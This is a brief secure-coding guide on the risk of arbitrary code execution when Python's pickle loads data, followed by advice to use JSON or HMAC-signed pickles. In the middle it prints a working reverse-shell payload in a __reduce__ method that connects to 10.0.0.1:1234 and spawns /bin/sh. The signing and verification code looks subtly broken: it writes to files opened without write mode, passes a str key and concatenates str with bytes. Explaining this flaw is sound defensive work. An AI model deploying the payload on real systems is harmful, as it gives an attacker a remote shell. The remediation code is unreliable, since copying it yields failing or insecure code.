Loading serialized data with the pickle module can expose arbitrary code execution using the reduce method.
Before objects are serialised, they can have a custom __reduce__
method attribute, which will execute on expansion during the pickle loader.
This can be used to injection malicious data into serialized data.
Because pickle is often used for caching or storing python objects by serialization, attackers will use this flaw to write arbitrary code to execute on the host.
import pickle
with open(f) as input:
python_objects = pickle.load(input)
An example attacker payload could be:
import pickle
class ReverseShell:
def __reduce__(self):
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
payload = pickle.dumps(ReverseShell())
To start an open shell on 10.0.0.1:1234.
Either:
- Use an alternative deserialization method, like JSON
- Sign your serialized pickle data and then verify it before deserializing to ensure it hasn't been tampered with
To sign your pickled data, use the hmac
module to hash the pickle data and insert it as a header.
import hashlib
import hmac
import pickle
data = pickle.dumps(obj)
digest = hmac.new('unique-key-here', data, hashlib.blake2b).hexdigest()
with open(f) as output:
output.write(str(digest) + ' ' + data)
To verify signed data, use something like this:
import hashlib
import hmac
import pickle
import secrets
digest, pickle_data = data.split(' ')
expected_digest = hmac.new('unique-key-here', pickle_data, hashlib.blake2b).hexdigest()
if not secrets.compare_digest(digest, expected_digest):
print('Invalid signature')
exit(1)
obj = pickle.loads(pickle_data)